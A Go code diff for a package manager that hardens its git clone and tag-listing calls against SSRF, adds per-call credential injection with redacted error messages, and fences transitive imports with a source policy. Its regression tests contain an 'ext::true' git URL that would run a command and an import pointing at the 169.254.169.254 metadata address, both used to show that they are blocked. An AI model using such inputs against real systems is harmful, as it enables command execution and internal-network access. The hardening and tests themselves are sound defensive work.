@@ -129,8 +133,8 @@ func ensureRepoInCacheLocked(source, commit string, parsed remoteSource, cachePa
 		return "", fmt.Errorf("checking repo cache %q: %w", cachePath, err)
 	}
 
-	if _, err := runGit("", "clone", "--quiet", parsed.CloneURL, cachePath); err != nil {
-		return "", fmt.Errorf("cloning %q: %w", source, err)
+	if _, err := runNetworkGit(cityRoot, parsed.CloneURL, "", "clone", "--quiet", parsed.CloneURL, cachePath); err != nil {
+		return "", fmt.Errorf("cloning %q: %w", gitcred.RedactUserinfo(source), err)
 	}
 	if _, err := runGit(cachePath, "checkout", "--quiet", commit); err != nil {
 		return "", fmt.Errorf("checking out %q: %w", commit, err)
@@ -252,18 +256,71 @@ func normalizeRemoteSource(source string) remoteSource {
 }
 
 func defaultRunGit(dir string, args ...string) (string, error) {
-	cmdArgs := append([]string{
+	// The pack source URL can be attacker-influenced on the API import path, and
+	// this runner drives the network fetch/clone/ls-remote for it. Harden every
+	// invocation against redirect-based SSRF and transport abuse; the flags are
+	// inert for the local cache operations (rev-parse, checkout, reset, ...) that
+	// also flow through here. The remaining DNS-rebinding residual is documented
+	// at the pack SSRF fence (internal/api/pack_source_policy.go).
+	cmdArgs := append(baseHardeningGitArgs(), args...)
+	cmd := exec.Command("git", cmdArgs...)
+	if dir != "" {
+		cmd.Dir = dir
+	}
+	cmd.Env = gitutil.HermeticEnv()
+	out, err := cmd.CombinedOutput()
+	if err != nil {
+		return "", fmt.Errorf("git %s: %s: %w", strings.Join(args, " "), strings.TrimSpace(string(out)), err)
+	}
+	return strings.TrimSpace(string(out)), nil
+}
+
+// baseHardeningGitArgs returns the leading `-c` flags every network git
+// invocation carries: the core.* pins plus the untrusted-remote SSRF hardening.
+// It is the single source of truth shared by defaultRunGit and
+// buildNetworkGitArgs so the "no credential rule ⇒ byte-identical argv"
+// guarantee is a slice comparison in tests.
+func baseHardeningGitArgs() []string {
+	return append([]string{
 		"-c", "core.fsmonitor=false",
 		"-c", "core.hooksPath=/dev/null",
 		"-c", "core.untrackedCache=false",
-	}, args...)
+	}, gitutil.UntrustedRemoteGitConfigArgs()...)
+}
+
+// buildNetworkGitArgs assembles the full git argv for a network invocation:
+// the base hardening trio, then the credential injection's leading `-c` flags,
+// then the subcommand args. With a zero Injection the result is byte-identical
+// to defaultRunGit's argv — the byte-identical guarantee for public clones.
+func buildNetworkGitArgs(inj gitcred.Injection, args ...string) []string {
+	cmdArgs := baseHardeningGitArgs()
+	cmdArgs = append(cmdArgs, inj.CfgArgs...)
+	cmdArgs = append(cmdArgs, args...)
+	return cmdArgs
+}
+
+// defaultRunNetworkGit is defaultRunGit plus per-invocation credential
+// injection and typed auth classification. Every network fetch/clone/ls-remote
+// runs through it so a matched credential rule authenticates the call and an
+// auth failure surfaces as a typed *gitcred.AuthError. remoteURL is the clone
+// URL credential resolution matches on; cityRoot scopes the per-city rule
+// layer.
+func defaultRunNetworkGit(cityRoot, remoteURL, dir string, args ...string) (string, error) {
+	inj, err := gitcred.CredentialedNetworkArgs("", cityRoot, remoteURL)
+	if err != nil {
+		return "", fmt.Errorf("loading git credentials for %s: %w", gitcred.RedactUserinfo(remoteURL), err)
+	}
+	cmdArgs := buildNetworkGitArgs(inj, args...)
 	cmd := exec.Command("git", cmdArgs...)
 	if dir != "" {
 		cmd.Dir = dir
 	}
-	cmd.Env = gitutil.HermeticEnv()
+	cmd.Env = append(gitutil.HermeticEnv(), inj.Env...)
 	out, err := cmd.CombinedOutput()
 	if err != nil {
+		if authErr := gitcred.ClassifyAuthError(remoteURL, inj, string(out), err); authErr != nil {
+			return "", authErr
+		}
 		return "", fmt.Errorf("git %s: %s: %w", strings.Join(args, " "), strings.TrimSpace(string(out)), err)
 	}
 	return strings.TrimSpace(string(out)), nil
diff --git a/internal/packman/cache_test.go b/internal/packman/cache_test.go
index e688523ab1..9c3686c492 100644
--- a/internal/packman/cache_test.go
+++ b/internal/packman/cache_test.go
@@ -3,6 +3,7 @@ package packman
 import (
 	"fmt"
 	"os"
+	"os/exec"
 	"path/filepath"
 	"reflect"
 	"strings"
@@ -79,7 +80,7 @@ func TestEnsureRepoInCacheUsesExistingCloneWhenCheckoutMatches(t *testing.T) {
 	}
 	t.Cleanup(func() { runGit = prev })
 
-	got, err := EnsureRepoInCache("https://github.com/example/repo", "abc123")
+	got, err := EnsureRepoInCache("", "https://github.com/example/repo", "abc123")
 	if err != nil {
 		t.Fatalf("EnsureRepoInCache: %v", err)
 	}
@@ -132,7 +133,7 @@ func TestEnsureRepoInCacheRepairsDirtyMatchingCheckout(t *testing.T) {
 	}
 	t.Cleanup(func() { runGit = prev })
 
-	got, err := EnsureRepoInCache("https://github.com/example/repo", "abc123")
+	got, err := EnsureRepoInCache("", "https://github.com/example/repo", "abc123")
 	if err != nil {
 		t.Fatalf("EnsureRepoInCache: %v", err)
 	}
@@ -184,7 +185,7 @@ func TestEnsureRepoInCacheRepairsExistingCloneCheckout(t *testing.T) {
 	}
 	t.Cleanup(func() { runGit = prev })
 
-	got, err := EnsureRepoInCache("https://github.com/example/repo", "abc123")
+	got, err := EnsureRepoInCache("", "https://github.com/example/repo", "abc123")
 	if err != nil {
 		t.Fatalf("EnsureRepoInCache: %v", err)
 	}
@@ -223,7 +224,17 @@ func TestEnsureRepoInCacheReclonesInvalidExistingCache(t *testing.T) {
 			return "abc123", nil
 		case "status":
 			return "", nil
-		case "clone":
+		case "checkout":
+			return "", nil
+		default:
+			return "", fmt.Errorf("unexpected git call: %v", args)
+		}
+	}
+	t.Cleanup(func() { runGit = prev })
+	prevNet := runNetworkGit
+	runNetworkGit = func(_, _, _ string, args ...string) (string, error) {
+		calls = append(calls, append([]string(nil), args...))
+		if args[0] == "clone" {
 			target := args[len(args)-1]
 			if err := os.MkdirAll(filepath.Join(target, ".git"), 0o755); err != nil {
 				return "", err
@@ -232,15 +243,12 @@ func TestEnsureRepoInCacheReclonesInvalidExistingCache(t *testing.T) {
 				return "", err
 			}
 			return "", nil
-		case "checkout":
-			return "", nil
-		default:
-			return "", fmt.Errorf("unexpected git call: %v", args)
 		}
+		return "", fmt.Errorf("unexpected network git call: %v", args)
 	}
-	t.Cleanup(func() { runGit = prev })
+	t.Cleanup(func() { runNetworkGit = prevNet })
 
-	got, err := EnsureRepoInCache("https://github.com/example/repo", "abc123")
+	got, err := EnsureRepoInCache("", "https://github.com/example/repo", "abc123")
 	if err != nil {
 		t.Fatalf("EnsureRepoInCache: %v", err)
 	}
@@ -270,12 +278,6 @@ func TestEnsureRepoInCacheCleansFreshCloneAfterPackValidationFailure(t *testing.
 	prev := runGit
 	runGit = func(_ string, args ...string) (string, error) {
 		switch args[0] {
-		case "clone":
-			target := args[len(args)-1]
-			if err := os.MkdirAll(filepath.Join(target, ".git"), 0o755); err != nil {
-				return "", err
-			}
-			return "", nil
 		case "checkout":
 			return "", nil
 		default:
@@ -283,8 +285,20 @@ func TestEnsureRepoInCacheCleansFreshCloneAfterPackValidationFailure(t *testing.
 		}
 	}
 	t.Cleanup(func() { runGit = prev })
+	prevNet := runNetworkGit
+	runNetworkGit = func(_, _, _ string, args ...string) (string, error) {
+		if args[0] == "clone" {
+			target := args[len(args)-1]
+			if err := os.MkdirAll(filepath.Join(target, ".git"), 0o755); err != nil {
+				return "", err
+			}
+			return "", nil
+		}
+		return "", fmt.Errorf("unexpected network git call: %v", args)
+	}
+	t.Cleanup(func() { runNetworkGit = prevNet })
 
-	if _, err := EnsureRepoInCache("https://github.com/example/repo", "abc123"); err == nil {
+	if _, err := EnsureRepoInCache("", "https://github.com/example/repo", "abc123"); err == nil {
 		t.Fatal("EnsureRepoInCache succeeded, want pack validation error")
 	}
 	if _, err := os.Stat(path); !os.IsNotExist(err) {
@@ -312,7 +326,17 @@ func TestEnsureRepoInCacheReclonesCacheDirWithoutGit(t *testing.T) {
 	runGit = func(_ string, args ...string) (string, error) {
 		calls = append(calls, append([]string(nil), args...))
 		switch args[0] {
-		case "clone":
+		case "checkout":
+			return "", nil
+		default:
+			return "", fmt.Errorf("unexpected git call: %v", args)
+		}
+	}
+	t.Cleanup(func() { runGit = prev })
+	prevNet := runNetworkGit
+	runNetworkGit = func(_, _, _ string, args ...string) (string, error) {
+		calls = append(calls, append([]string(nil), args...))
+		if args[0] == "clone" {
 			target := args[len(args)-1]
 			if _, err := os.Stat(filepath.Join(target, "leftover.txt")); !os.IsNotExist(err) {
 				return "", fmt.Errorf("stale cache directory was not removed before clone")
@@ -324,15 +348,12 @@ func TestEnsureRepoInCacheReclonesCacheDirWithoutGit(t *testing.T) {
 				return "", err
 			}
 			return "", nil
-		case "checkout":
-			return "", nil
-		default:
-			return "", fmt.Errorf("unexpected git call: %v", args)
 		}
+		return "", fmt.Errorf("unexpected network git call: %v", args)
 	}
-	t.Cleanup(func() { runGit = prev })
+	t.Cleanup(func() { runNetworkGit = prevNet })
 
-	got, err := EnsureRepoInCache("https://github.com/example/repo", "abc123")
+	got, err := EnsureRepoInCache("", "https://github.com/example/repo", "abc123")
 	if err != nil {
 		t.Fatalf("EnsureRepoInCache: %v", err)
 	}
@@ -366,7 +387,16 @@ func TestEnsureRepoInCacheReclonesCacheFileWithoutGit(t *testing.T) {
 	prev := runGit
 	runGit = func(_ string, args ...string) (string, error) {
 		switch args[0] {
-		case "clone":
+		case "checkout":
+			return "", nil
+		default:
+			return "", fmt.Errorf("unexpected git call: %v", args)
+		}
+	}
+	t.Cleanup(func() { runGit = prev })
+	prevNet := runNetworkGit
+	runNetworkGit = func(_, _, _ string, args ...string) (string, error) {
+		if args[0] == "clone" {
 			target := args[len(args)-1]
 			if _, err := os.Stat(target); !os.IsNotExist(err) {
 				return "", fmt.Errorf("stale cache file was not removed before clone")
@@ -378,15 +408,12 @@ func TestEnsureRepoInCacheReclonesCacheFileWithoutGit(t *testing.T) {
 				return "", err
 			}
 			return "", nil
-		case "checkout":
-			return "", nil
-		default:
-			return "", fmt.Errorf("unexpected git call: %v", args)
 		}
+		return "", fmt.Errorf("unexpected network git call: %v", args)
 	}
-	t.Cleanup(func() { runGit = prev })
+	t.Cleanup(func() { runNetworkGit = prevNet })
 
-	got, err := EnsureRepoInCache("https://github.com/example/repo", "abc123")
+	got, err := EnsureRepoInCache("", "https://github.com/example/repo", "abc123")
 	if err != nil {
 		t.Fatalf("EnsureRepoInCache: %v", err)
 	}
@@ -394,3 +421,27 @@ func TestEnsureRepoInCacheReclonesCacheFileWithoutGit(t *testing.T) {
 		t.Fatalf("EnsureRepoInCache path = %q, want %q", got, path)
 	}
 }
+
+// TestDefaultRunGitBlocksDisallowedTransport is the regression for the API
+// pack-import SSRF hardening: defaultRunGit drives the attacker-influenced
+// clone/ls-remote, so it must constrain git transports. An ext:: URL (which
+// would otherwise execute an arbitrary command) must be refused by the
+// protocol allowlist rather than run.
+func TestDefaultRunGitBlocksDisallowedTransport(t *testing.T) {
+	if _, err := exec.LookPath("git"); err != nil {
+		t.Skip("git not available")
+	}
+	// ext:: is not in the allowlist; git must refuse it before running the
+	// command. Without the hardening, git would execute `true` and fail with a
+	// different (protocol-parse) error instead.
+	_, err := defaultRunGit("", "ls-remote", "ext::true")
+	if err == nil {
+		t.Fatal("defaultRunGit ran a disallowed ext:: transport; want a protocol block")
+	}
+	msg := err.Error()
+	blocked := strings.Contains(msg, "ext") &&
+		(strings.Contains(msg, "not allowed") || strings.Contains(msg, "protocol"))
+	if !blocked {
+		t.Fatalf("error = %q; want a git transport 'ext' not allowed / protocol block", msg)
+	}
+}
diff --git a/internal/packman/check_test.go b/internal/packman/check_test.go
index 0f6966c28f..7e1ed372bb 100644
--- a/internal/packman/check_test.go
+++ b/internal/packman/check_test.go
@@ -59,6 +59,11 @@ func TestSyncLockUsesBundledFallbackForPublicGastownWhenRemoteUnavailable(t *tes
 	runGit = func(_ string, args ...string) (string, error) {
 		return "", fmt.Errorf("network unavailable for git %s", strings.Join(args, " "))
 	}
+	oldRunNetworkGit := runNetworkGit
+	t.Cleanup(func() { runNetworkGit = oldRunNetworkGit })
+	runNetworkGit = func(_, _, _ string, args ...string) (string, error) {
+		return "", fmt.Errorf("network unavailable for git %s", strings.Join(args, " "))
+	}
 
 	imports := map[string]config.Import{
 		"gastown": {
@@ -117,6 +122,11 @@ func TestSyncLockUsesBundledFallbackForPublicGascityWhenRemoteUnavailable(t *tes
 	runGit = func(_ string, args ...string) (string, error) {
 		return "", fmt.Errorf("network unavailable for git %s", strings.Join(args, " "))
 	}
+	oldRunNetworkGit := runNetworkGit
+	t.Cleanup(func() { runNetworkGit = oldRunNetworkGit })
+	runNetworkGit = func(_, _, _ string, args ...string) (string, error) {
+		return "", fmt.Errorf("network unavailable for git %s", strings.Join(args, " "))
+	}
 
 	imports := map[string]config.Import{
 		"gascity": {
diff --git a/internal/packman/install.go b/internal/packman/install.go
index 6c50586ad3..7136602776 100644
--- a/internal/packman/install.go
+++ b/internal/packman/install.go
@@ -26,6 +26,16 @@ const (
 	InstallUpgrade
 )
 
+// SourcePolicy validates a remote import source before packman resolves or
+// fetches it. It is applied to every source in the reachable closure — the
+// direct imports AND every transitive import discovered from a cached pack.toml
+// — before any `ResolveVersion` (git ls-remote) or `EnsureRepoInCache`
+// (clone/checkout) seam runs for that source. A non-nil error aborts the whole
+// sync before that source is touched, so an accepted top-level pack cannot
+// smuggle an internal, file, or link-local nested import past an API-layer
+// fence. A nil policy (the trusted CLI/local path) allows every source.
+type SourcePolicy func(source string) error
+
 type packConfig struct {
 	Imports map[string]config.Import `toml:"imports,omitempty"`
 }
@@ -90,7 +100,7 @@ func InstallLocked(cityRoot string) (*Lockfile, error) {
 		if pack.Commit == "" {
 			return nil, fmt.Errorf("lock entry %q is missing commit", source)
 		}
-		if _, err := EnsureRepoInCache(source, pack.Commit); err != nil {
+		if _, err := EnsureRepoInCache(cityRoot, source, pack.Commit); err != nil {
 			return nil, err
 		}
 	}
@@ -126,7 +136,7 @@ func EnsureBundledPacksCurrent(cityRoot string) error {
 		if pack.Commit == "" {
 			continue
 		}
-		if _, err := EnsureRepoInCache(source, pack.Commit); err != nil {
+		if _, err := EnsureRepoInCache(cityRoot, source, pack.Commit); err != nil {
 			return err
 		}
 	}
@@ -135,27 +145,38 @@ func EnsureBundledPacksCurrent(cityRoot string) error {
 
 // SyncLock resolves the reachable remote-import closure and returns the updated lock.
 func SyncLock(cityRoot string, imports map[string]config.Import, mode InstallMode) (*Lockfile, error) {
-	return syncLock(cityRoot, imports, mode, nil)
+	return syncLock(cityRoot, imports, mode, nil, nil)
+}
+
+// SyncLockWithPolicy is SyncLock with an untrusted-source policy applied to every
+// reachable source (direct and transitive) before it is resolved or fetched, so
+// an accepted public pack cannot pull an internal or file-backed nested import
+// past the caller's fence. A nil policy behaves exactly like SyncLock.
+func SyncLockWithPolicy(cityRoot string, imports map[string]config.Import, mode InstallMode, policy SourcePolicy) (*Lockfile, error) {
+	return syncLock(cityRoot, imports, mode, nil, policy)
 }
 
 // SyncLockSelectiveUpgrade refreshes only the listed remote sources while
 // preserving every other reachable import from the existing lock when possible.
 func SyncLockSelectiveUpgrade(cityRoot string, imports map[string]config.Import, upgradeSources map[string]struct{}) (*Lockfile, error) {
-	return syncLock(cityRoot, imports, InstallResolveIfNeeded, upgradeSources)
+	return syncLock(cityRoot, imports, InstallResolveIfNeeded, upgradeSources, nil)
 }
 
-func syncLock(cityRoot string, imports map[string]config.Import, mode InstallMode, upgradeSources map[string]struct{}) (*Lockfile, error) {
+func syncLock(cityRoot string, imports map[string]config.Import, mode InstallMode, upgradeSources map[string]struct{}, policy SourcePolicy) (*Lockfile, error) {
 	existing, err := ReadLockfile(fsys.OSFS{}, cityRoot)
 	if err != nil {
 		return nil, err
 	}
 
 	state := syncState{
+		cityRoot:       cityRoot,
 		mode:           mode,
 		existing:       existing,
 		upgradeSources: upgradeSources,
+		policy:         policy,
 		chosen:         make(map[string]LockedPack),
 		refreshed:      make(map[string]bool),
+		validated:      make(map[string]bool),
 	}
 
 	constraints, reachable, err := mergeDirectConstraints(imports)
@@ -188,11 +209,29 @@ func syncLock(cityRoot string, imports map[string]config.Import, mode InstallMod
 }
 
 type syncState struct {
+	cityRoot       string
 	mode           InstallMode
 	existing       *Lockfile
 	upgradeSources map[string]struct{}
+	policy         SourcePolicy
 	chosen         map[string]LockedPack
 	refreshed      map[string]bool
+	validated      map[string]bool
+}
+
+// checkPolicy runs the untrusted-source policy for source once per sync. It is
+// the single gate every source passes before resolveSource resolves it or
+// walkImport caches it, so a policy rejection aborts the sync before any git or
+// cache seam runs for that source — the transitive-import fence.
+func (s *syncState) checkPolicy(source string) error {
+	if s.policy == nil || s.validated[source] {
+		return nil
+	}
+	if err := s.policy(source); err != nil {
+		return err
+	}
+	s.validated[source] = true
+	return nil
 }
 
 func (s *syncState) ensureChosen(constraints map[string]string, reachable map[string]struct{}) (bool, error) {
@@ -216,6 +255,14 @@ func (s *syncState) ensureChosen(constraints map[string]string, reachable map[st
 }
 
 func (s *syncState) resolveSource(source, constraint string) (bool, error) {
+	// Fence the source before any resolution or cache fetch. resolveSource is the
+	// choke point every reachable source (direct and transitive) flows through
+	// before it is chosen, and walkImport only caches already-chosen sources, so
+	// gating here blocks both the ResolveVersion and EnsureRepoInCache seams.
+	if err := s.checkPolicy(source); err != nil {
+		return false, err
+	}
+
 	forceUpgrade := s.mode == InstallUpgrade
 	if !forceUpgrade && s.upgradeSources != nil {
 		_, forceUpgrade = s.upgradeSources[source]
@@ -247,7 +294,7 @@ func (s *syncState) resolveSource(source, constraint string) (bool, error) {
 		return false, fmt.Errorf("unknown install mode %d", s.mode)
 	}
 
-	resolved, err := ResolveVersion(source, constraint)
+	resolved, err := ResolveVersion(s.cityRoot, source, constraint)
 	if err != nil {
 		return false, err
 	}
@@ -326,7 +373,7 @@ func (s *syncState) walkImport(_ string, imp config.Import, constraints map[stri
 }
 
 func (s *syncState) cachedPackPath(source, commit string) (string, error) {
-	cachePath, err := EnsureRepoInCache(source, commit)
+	cachePath, err := EnsureRepoInCache(s.cityRoot, source, commit)
 	if err != nil {
 		return "", err
 	}
diff --git a/internal/packman/install_test.go b/internal/packman/install_test.go
index 419acadbd2..22f0390a02 100644
--- a/internal/packman/install_test.go
+++ b/internal/packman/install_test.go
@@ -56,6 +56,88 @@ schema = 1
 	}
 }
 
+// TestSyncLockWithPolicyBlocksTransitiveInternalImport is the regression for the
+// transitive-import SSRF finding: a public top-level pack that passes the caller's
+// source fence can declare a nested internal/link-local/file import in its
+// pack.toml, and SyncLock resolves that closure. SyncLockWithPolicy must apply the
+// untrusted-source policy to every reachable source — including transitive ones —
+// so the nested internal import is rejected before any git/cache seam runs for it.
+func TestSyncLockWithPolicyBlocksTransitiveInternalImport(t *testing.T) {
+	home := t.TempDir()
+	city := t.TempDir()
+	t.Setenv("HOME", home)
+	t.Setenv("GC_HOME", filepath.Join(home, ".gc"))
+	stubCachedPackGit(t)
+
+	const internalSource = "http://169.254.169.254/b.git"
+	lock := &Lockfile{
+		Packs: map[string]LockedPack{
+			"https://example.com/a.git": {Version: "1.2.0", Commit: "aaaa", Fetched: time.Unix(10, 0).UTC()},
+			internalSource:              {Version: "2.0.0", Commit: "bbbb", Fetched: time.Unix(20, 0).UTC()},
+		},
+	}
+	if err := WriteLockfile(fsys.OSFS{}, city, lock); err != nil {
+		t.Fatalf("WriteLockfile: %v", err)
+	}
+	// A public top-level pack whose pack.toml pulls an internal transitive import.
+	stageCachedPack(t, "https://example.com/a.git", "aaaa", `
+[pack]
+name = "a"
+schema = 1
+
+[imports.b]
+source = "http://169.254.169.254/b.git"
+version = "^2.0"
+`)
+	stageCachedPack(t, internalSource, "bbbb", `
+[pack]
+name = "b"
+schema = 1
+`)
+
+	direct := map[string]config.Import{
+		"a": {Source: "https://example.com/a.git", Version: "^1.0"},
+	}
+
+	// Without a policy the closure walks cleanly, so the block below is provably the
+	// policy's doing and not a broken graph.
+	if got, err := SyncLock(city, direct, InstallFromLock); err != nil {
+		t.Fatalf("SyncLock (no policy): %v", err)
+	} else if len(got.Packs) != 2 {
+		t.Fatalf("SyncLock (no policy) len(Packs) = %d, want 2", len(got.Packs))
+	}
+
+	// The policy fences internal hosts. The direct public source passes; the
+	// transitive internal import must be rejected.
+	var consulted []string
+	policy := func(source string) error {
+		consulted = append(consulted, source)
+		if strings.Contains(source, "169.254.169.254") {
+			return fmt.Errorf("blocked internal source %q", source)
+		}
+		return nil
+	}
+	_, err := SyncLockWithPolicy(city, direct, InstallFromLock, policy)
+	if err == nil {
+		t.Fatal("SyncLockWithPolicy allowed a transitive internal import; want rejection")
+	}
+	if !strings.Contains(err.Error(), "169.254.169.254") {
+		t.Fatalf("error = %v, want it to name the blocked internal host", err)
+	}
+	if !contains(consulted, internalSource) {
+		t.Fatalf("policy was not consulted for the transitive internal source; saw %v", consulted)
+	}
+}
+
+func contains(ss []string, want string) bool {
+	for _, s := range ss {
+		if s == want {
+			return true
+		}
+	}
+	return false
+}
+
 func TestSyncLockHonorsTransitiveFalse(t *testing.T) {
 	home := t.TempDir()
 	city := t.TempDir()
@@ -179,6 +261,7 @@ func TestSyncLockResolveIfNeededResolvesAndCaches(t *testing.T) {
 		}
 	}
 	t.Cleanup(func() { runGit = prev })
+	routeNetworkGitThroughRunGit(t)
 
 	got, err := SyncLock(city, map[string]config.Import{
 		"a": {Source: "https://example.com/a.git", Version: "^1.0"},
@@ -232,6 +315,7 @@ func TestInstallLockedEnsuresEveryLockedRepo(t *testing.T) {
 		}
 	}
 	t.Cleanup(func() { runGit = prev })
+	routeNetworkGitThroughRunGit(t)
 
 	lock, err := InstallLocked(city)
 	if err != nil {
@@ -368,6 +452,7 @@ func TestSyncLockMergesCompatibleDirectConstraints(t *testing.T) {
 		}
 	}
 	t.Cleanup(func() { runGit = prev })
+	routeNetworkGitThroughRunGit(t)
 
 	lock, err := SyncLock(city, map[string]config.Import{
 		"a": {Source: "https://example.com/a.git", Version: ">=1.0"},
@@ -418,6 +503,7 @@ func TestSyncLockSelectiveUpgradeMergesSameSourceConstraints(t *testing.T) {
 		}
 	}
 	t.Cleanup(func() { runGit = prev })
+	routeNetworkGitThroughRunGit(t)
 
 	lock, err := SyncLockSelectiveUpgrade(city, map[string]config.Import{
 		"pack:shared":         {Source: "https://example.com/shared.git", Version: ">=1.0"},
@@ -537,6 +623,7 @@ version = "<2.0"
 		}
 	}
 	t.Cleanup(func() { runGit = prev })
+	routeNetworkGitThroughRunGit(t)
 
 	lock, err := SyncLock(city, map[string]config.Import{
 		"a_shared":   {Source: "https://example.com/shared.git", Version: ">=1.0"},
@@ -640,6 +727,7 @@ func TestSyncLockAllowsMultipleSubpathsFromSameRepoWithSharedClone(t *testing.T)
 		}
 	}
 	t.Cleanup(func() { runGit = prev })
+	routeNetworkGitThroughRunGit(t)
 
 	lock, err := SyncLock(city, map[string]config.Import{
 		"a": {Source: "file:///tmp/repo.git//packs/a", Version: "^1.2"},
@@ -740,6 +828,7 @@ func TestEnsureBundledPacksCurrentSkipsNonBundledPacks(t *testing.T) {
 		return prev("", args...)
 	}
 	t.Cleanup(func() { runGit = prev })
+	routeNetworkGitThroughRunGit(t)
 
 	if err := EnsureBundledPacksCurrent(city); err != nil {
 		t.Fatalf("EnsureBundledPacksCurrent: %v", err)
diff --git a/internal/packman/network_git_args_test.go b/internal/packman/network_git_args_test.go
new file mode 100644
index 0000000000..cbf1b9dba7
--- /dev/null
+++ b/internal/packman/network_git_args_test.go
@@ -0,0 +1,47 @@
+package packman
+
+import (
+	"reflect"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/gitcred"
+)
+
+// TestBuildNetworkGitArgsByteIdenticalWhenNoInjection is the headline guarantee:
+// with a zero Injection (no credential rule matched), the network runner's argv
+// is byte-identical to defaultRunGit's argv, so public clones behave exactly as
+// they did before credential injection existed.
+func TestBuildNetworkGitArgsByteIdenticalWhenNoInjection(t *testing.T) {
+	args := []string{"clone", "--quiet", "https://github.com/org/repo", "/tmp/cache"}
+
+	// defaultRunGit's argv construction, replicated here as the oracle.
+	wantArgs := append(baseHardeningGitArgs(), args...)
+
+	got := buildNetworkGitArgs(gitcred.Injection{}, args...)
+	if !reflect.DeepEqual(got, wantArgs) {
+		t.Fatalf("buildNetworkGitArgs with zero injection = %#v\nwant %#v", got, wantArgs)
+	}
+}
+
+// TestBuildNetworkGitArgsInsertsCfgBeforeSubcommand proves injected credential
+// -c flags land after the base hardening and before the git subcommand.
+func TestBuildNetworkGitArgsInsertsCfgBeforeSubcommand(t *testing.T) {
+	inj := gitcred.Injection{CfgArgs: []string{"-c", "credential.helper=", "-c", "credential.useHttpPath=true"}}
+	args := []string{"ls-remote", "--tags", "https://github.com/org/repo"}
+	got := buildNetworkGitArgs(inj, args...)
+
+	base := baseHardeningGitArgs()
+	if !reflect.DeepEqual(got[:len(base)], base) {
+		t.Fatalf("base hardening not preserved at the front: %#v", got[:len(base)])
+	}
+	// The subcommand must be the tail.
+	tail := got[len(got)-len(args):]
+	if !reflect.DeepEqual(tail, args) {
+		t.Fatalf("subcommand not at the tail: %#v", tail)
+	}
+	// The injection must sit between them.
+	mid := got[len(base) : len(got)-len(args)]
+	if !reflect.DeepEqual(mid, inj.CfgArgs) {
+		t.Fatalf("injected cfg args not between base and subcommand: %#v", mid)
+	}
+}
diff --git a/internal/packman/network_git_test.go b/internal/packman/network_git_test.go
new file mode 100644
index 0000000000..9a33e3e4af
--- /dev/null
+++ b/internal/packman/network_git_test.go
@@ -0,0 +1,18 @@
+package packman
+
+import "testing"
+
+// routeNetworkGitThroughRunGit points the runNetworkGit seam at the live runGit
+// stub for the duration of a test, discarding the leading cityRoot/remoteURL
+// arguments. Tests that fake clone/ls-remote inside their runGit stub call this
+// so those network operations — which production now routes through
+// runNetworkGit — reach the same fake. The delegate reads runGit at call time,
+// so it tracks a stub installed after this helper runs.
+func routeNetworkGitThroughRunGit(t *testing.T) {
+	t.Helper()
+	prev := runNetworkGit
+	runNetworkGit = func(_, _, dir string, args ...string) (string, error) {
+		return runGit(dir, args...)
+	}
+	t.Cleanup(func() { runNetworkGit = prev })
+}
diff --git a/internal/packman/resolve.go b/internal/packman/resolve.go
index 774ec48df2..b554cf24d2 100644
--- a/internal/packman/resolve.go
+++ b/internal/packman/resolve.go
@@ -6,6 +6,8 @@ import (
 	"sort"
 	"strconv"
 	"strings"
+
+	"github.com/gastownhall/gascity/internal/gitcred"
 )
 
 // ErrNoSemverTags reports that a source has no semver tags to resolve.
@@ -19,7 +21,9 @@ type ResolvedVersion struct {
 
 // ResolveVersion discovers tags for source and selects the highest tag matching constraint.
 // Empty constraint means "latest stable semver tag". "sha:<hex>" bypasses tag discovery.
-func ResolveVersion(source, constraint string) (ResolvedVersion, error) {
+// cityRoot scopes credential resolution for the network ls-remote; "" skips only
+// the per-city rule layer.
+func ResolveVersion(cityRoot, source, constraint string) (ResolvedVersion, error) {
 	if strings.HasPrefix(constraint, "sha:") {
 		commit := strings.TrimPrefix(constraint, "sha:")
 		if commit == "" {
@@ -28,7 +32,7 @@ func ResolveVersion(source, constraint string) (ResolvedVersion, error) {
 		return ResolvedVersion{Version: constraint, Commit: commit}, nil
 	}
 
-	tags, err := listRemoteTags(source)
+	tags, err := listRemoteTags(cityRoot, source)
 	if err != nil {
 		return ResolvedVersion{}, err
 	}
@@ -64,10 +68,11 @@ func DefaultConstraint(version string) (string, error) {
 	return fmt.Sprintf("^%d.%d", v.Major, v.Minor), nil
 }
 
-func listRemoteTags(source string) (map[string]string, error) {
-	out, err := runGit("", "ls-remote", "--tags", normalizeRemoteSource(source).CloneURL)
+func listRemoteTags(cityRoot, source string) (map[string]string, error) {
+	cloneURL := normalizeRemoteSource(source).CloneURL
+	out, err := runNetworkGit(cityRoot, cloneURL, "", "ls-remote", "--tags", cloneURL)
 	if err != nil {
-		return nil, fmt.Errorf("listing tags for %q: %w", source, err)
+		return nil, fmt.Errorf("listing tags for %q: %w", gitcred.RedactUserinfo(source), err)
 	}
 
 	tags := make(map[string]string)
diff --git a/internal/packman/resolve_test.go b/internal/packman/resolve_test.go
index bb0a956d23..6409fd37dc 100644
--- a/internal/packman/resolve_test.go
+++ b/internal/packman/resolve_test.go
@@ -1,15 +1,19 @@
 package packman
 
-import "testing"
+import (
+	"errors"
+	"strings"
+	"testing"
+)
 
 func TestResolveVersionLatestMatchingConstraint(t *testing.T) {
-	prev := runGit
-	runGit = func(_ string, _ ...string) (string, error) {
+	prev := runNetworkGit
+	runNetworkGit = func(_, _, _ string, _ ...string) (string, error) {
 		return "aaa\trefs/tags/v1.2.0\nbbb\trefs/tags/v1.3.1\nccc\trefs/tags/v2.0.0\n", nil
 	}
-	t.Cleanup(func() { runGit = prev })
+	t.Cleanup(func() { runNetworkGit = prev })
 
-	got, err := ResolveVersion("https://github.com/example/repo", "^1.2")
+	got, err := ResolveVersion("", "https://github.com/example/repo", "^1.2")
 	if err != nil {
 		t.Fatalf("ResolveVersion: %v", err)
 	}
@@ -19,13 +23,13 @@ func TestResolveVersionLatestMatchingConstraint(t *testing.T) {
 }
 
 func TestResolveVersionSupportsComparators(t *testing.T) {
-	prev := runGit
-	runGit = func(_ string, _ ...string) (string, error) {
+	prev := runNetworkGit
+	runNetworkGit = func(_, _, _ string, _ ...string) (string, error) {
 		return "aaa\trefs/tags/v1.2.0\nbbb\trefs/tags/v1.2.5\nccc\trefs/tags/v1.3.0\n", nil
 	}
-	t.Cleanup(func() { runGit = prev })
+	t.Cleanup(func() { runNetworkGit = prev })
 
-	got, err := ResolveVersion("https://github.com/example/repo", ">=1.2.0,<1.3.0")
+	got, err := ResolveVersion("", "https://github.com/example/repo", ">=1.2.0,<1.3.0")
 	if err != nil {
